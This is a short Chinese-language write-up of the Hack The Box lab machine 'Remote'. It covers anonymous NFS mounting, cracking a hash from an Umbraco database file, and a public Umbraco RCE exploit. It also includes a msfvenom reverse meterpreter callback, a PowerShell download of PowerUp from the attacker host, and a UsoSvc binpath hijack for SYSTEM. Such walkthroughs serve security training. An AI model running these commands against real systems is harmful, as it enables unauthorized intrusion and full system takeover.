HTB-Remote
最近域名到期了,注册要好几天,就在这发个水文得了..
nmap -sC -sV -A 10.10.10.180

ftp
anonymous登陆,但是没东西

smb
smbclient -L 10.10.10.180
-L查看共享资源,但是需要登陆

rpc nfs共享
showmount -e 10.10.10.180

发现共享目录,把他挂到本地
mount 10.10.10.180:/site_backups ./share

主要看一下Web.config,找跟数据库有关的
但是只能本地连接

找到连接的配置文件Umbraco.sdf

find一下路径,strings查找,可以得到用户名和hash1加密的密码

用hashcat爆破 -m 100表示hash1

拿去登陆,来到后台,发现版本为7.12.4,有现成exp

选择弹个shell回来,可以上传文件,msfvenom生成一个exe上传

msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.14.26 lport=1234 -f exe -o shell.exe
上传后用exp执行
python3 exp.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a 'C:/inetpub/wwwroot/Media/1033/shell.exe'
之后需要提权,可以用提权辅助工具
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
kali开个http
powershell.exe -command "(new-object Net.WebClient).DownloadFile('http://10.10.14.26:1235/PowerUp.ps1','C:\Users\Public\PowerUp.ps1')"
然后进入powershell
import-module ./powerup.ps1
./powerup.ps1

也可以查看启动的服务
wmic service where started=true get name, startname
可以看到usosvc是localsystem
sc stop usosvc发现可以控制

那就直接设置binpath为反弹shell路径
sc usosvc stop
sc config usosvc binpath="C:\Users\Public\re.exe"
sc usosvc start
getroot


浙公网安备 33010602011771号